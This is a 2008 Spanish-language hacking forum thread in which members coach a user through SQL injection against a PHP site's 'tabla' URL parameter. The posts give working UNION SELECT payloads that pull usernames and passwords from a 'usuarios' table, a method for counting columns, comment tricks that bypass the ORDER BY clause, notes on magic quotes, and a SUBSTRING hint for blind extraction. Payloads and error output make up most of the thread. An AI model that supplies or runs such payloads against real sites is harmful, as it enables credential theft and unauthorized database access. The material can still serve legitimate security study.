elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  MySQL Problemas con inyección en el nombre de la tabla
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: MySQL Problemas con inyección en el nombre de la tabla  (Leído 10,033 veces)
PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
MySQL Problemas con inyección en el nombre de la tabla
« en: 21 Mayo 2008, 22:12 pm »

buenas! un amigo me dijo esta haciendo una web y me dijo que mirase las vulnerabilidades, le dije que no sabia mucho pero que lo intentaria asique bueno..
hasta el momento no me habia puesto a investigar sobre inyecciones sql y creo que es buen momento el caso es que he estado probando en el documento .php del login y no he encontrado nada pero luego he probado en otro y he obtenido mejores resultados.

uno de los apartados me lleva a esta url
http://www.web.com/index.php?tabla=obranueva

entonces se me a ocurrido probar a ver si existe la tabla usuarios
http://www.web.com/index.php?tabla=usuarios

y perfecto parece que esta esta tabla existe, pero por la consulta sql me da este error.
.

MySQL Error: Unknown column 'nombre' in 'field list'


entonces pongo el tipico 1=1 a ver si hay inyeccion
http://www.web.com/index.php?tabla=usuarios AND 1=1

y recibo este error

DB Error
MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'and 1=1 order by hoy DESC LIMIT 0, 4' at line 1


por lo que calculo que la sentencia para la consulta es algo asi como
select * from tabla order by hoy DESC LIMIT 0, 4'

he probado a poner
AND 1=1--
AND 1=1;
'AND 1=1--
'AND 1=1;
y mil cosas mas pero siempre obtengo ese error.

estoy bastante atrapado

alguna pista? que se me escapa?
« Última modificación: 12 Agosto 2008, 16:31 pm por sirdarckcat » En línea

Leber


Desconectado Desconectado

Mensajes: 338


"Fracta, non verba"


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #1 en: 21 Mayo 2008, 23:11 pm »

Puedes probar a poner un comentario despues del and 1=1, es decir, asi:

?tabla=usuarios and 1=1/*

y asi no se ejecuta el order by que hay detras
En línea

"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe
sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #2 en: 21 Mayo 2008, 23:12 pm »

mmm supongo hacen:

SELECT nombre,demas FROM <inyeccion aqui>

intenta:

obranueva UNION SELECT username,password,1,2,3,4 FROM usuarios /*

cambia:
username,password,1,2,3,4

por los nombres de las columnas y la cantidad de columnas correcta
En línea

PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #3 en: 21 Mayo 2008, 23:37 pm »

he dado con el nombre de las columnas a base de fallos

entonces queda asi
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4 FROM usuarios
ahora me dice
MySQL Error: The used SELECT statements have a different number of columns

tengo que averiguar el numero de columnas, no se como averiguarlo
tengo que ir poniendo
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4 FROM usuarios
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4,5 FROM usuarios
?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4,5,6 FROM usuarios
y asi sucesivamente? hasta dar con el numero de columnas??
aqui ando verde, verde.

no entiendo por que hay que poner 1,2,3,4
muchas gracias sirdarckcat!
En línea

Ertai
Colaborador
***
Desconectado Desconectado

Mensajes: 2.025


Ralph Wiggum


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #4 en: 22 Mayo 2008, 00:31 am »

Prueba con:

obranueva UNION SELECT 1 FROM usuarios
obranueva UNION SELECT 1,1 FROM usuarios
obranueva UNION SELECT 1,1,1 FROM usuarios
obranueva UNION SELECT 1,1,1,1 FROM usuarios
obranueva UNION SELECT 1,1,1,1,1 FROM usuarios

Quizas hay menos columnas que las que has probado.

Cuando des con el numero de campos, lo más probable es que veas 1's en lugares donde había datos en la web.

Entonces te tocará encontrar el nombre de los campos...

Saludos.
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #5 en: 22 Mayo 2008, 00:43 am »

he estao dandole caña hasta llegar a

obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios
en este punto me dice MySQL Error: Unknown column 'hoy' in 'order clause'.
osea que aqui hay algo no? este es el numero de columnas correcto?


poniendo -- ya no me da ningun error.
obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
« Última modificación: 22 Mayo 2008, 00:51 am por PaPeRrO » En línea

PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #6 en: 22 Mayo 2008, 19:15 pm »

estoy haciendo esto siguiendo esta pagina
http://www.seguridad-informatica.cl/home/tutorial-inyeccion-sql-basada-en-errores

he encontrado 2 columnas mas probando, pero me faltan otras 8.

lo que estoy intentando ahora es comprobar la existencia de el usuario invitado.
se que existe por tanto pongo

UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario LIKE 'invitado' --

y me devuelve
MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'invitado\' -- order by hoy DESC LIMIT 0, 4' at line 1

si meto
UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario > 'a' --

MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'a\' -- order by hoy DESC LIMIT 0, 4' at line 1


es decir, siempre se queja de las comillas.no se como evitarlo.

En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #7 en: 22 Mayo 2008, 21:20 pm »

tienen las magic quotes.

haz lo que te dije..

obranueva UNION SELECT username,password,1,1,1,1,1,1,1,1,1,1 FROM usuarios /*
En línea

PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #8 en: 22 Mayo 2008, 21:43 pm »

osea que no puedo hacer otra cosa? resultados no me muestra.solo es error o no error. asique todo es por blind sql.me equivoco?
ok, he investigado sobre las magic quotes,no sabia lo que eran.
entonces si no puedo poner comillas...

asique tengo que averiguar todas las columnas no?o no es necesario?

al poner
obranueva UNION SELECT usuario,pass,1,1,1,1,1,1,1,1,1,1 FROM usuarios /*
no da error.
si pongo
UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario LIKE pass --
y tampoco me da error
eso me confirma que hay un usuario con el mismo nombre y contraseña no? invitado/invitado

lo que no alcanzo a entender es como dar con el nombre de los usuarios si no puedo poner comillas
En línea

ANELKAOS
Colaborador
***
Desconectado Desconectado

Mensajes: 3.105


#include<nda.h>


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #9 en: 22 Mayo 2008, 23:00 pm »

Vas bien, debes utilizar SUBSTRING() para dar con el nombre.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Crear tabla usando como nombre el campo de otra MYSQL [Solucionado]
Bases de Datos
Graphixx 1 4,263 Último mensaje 1 Diciembre 2010, 06:48 am
por Graphixx
Problemas Con Tabla
Java
ZedGe 2 2,303 Último mensaje 27 Noviembre 2011, 05:18 am
por ZedGe
Inyeccion SQL en mysql 3.X
Nivel Web
Cleantesdeasso 0 2,173 Último mensaje 8 Diciembre 2011, 10:21 am
por Cleantesdeasso
¿Harto de que pronuncien mal tu nombre? Esta web acaba con tus problemas
Noticias
wolfbcn 0 1,314 Último mensaje 13 Noviembre 2016, 21:26 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines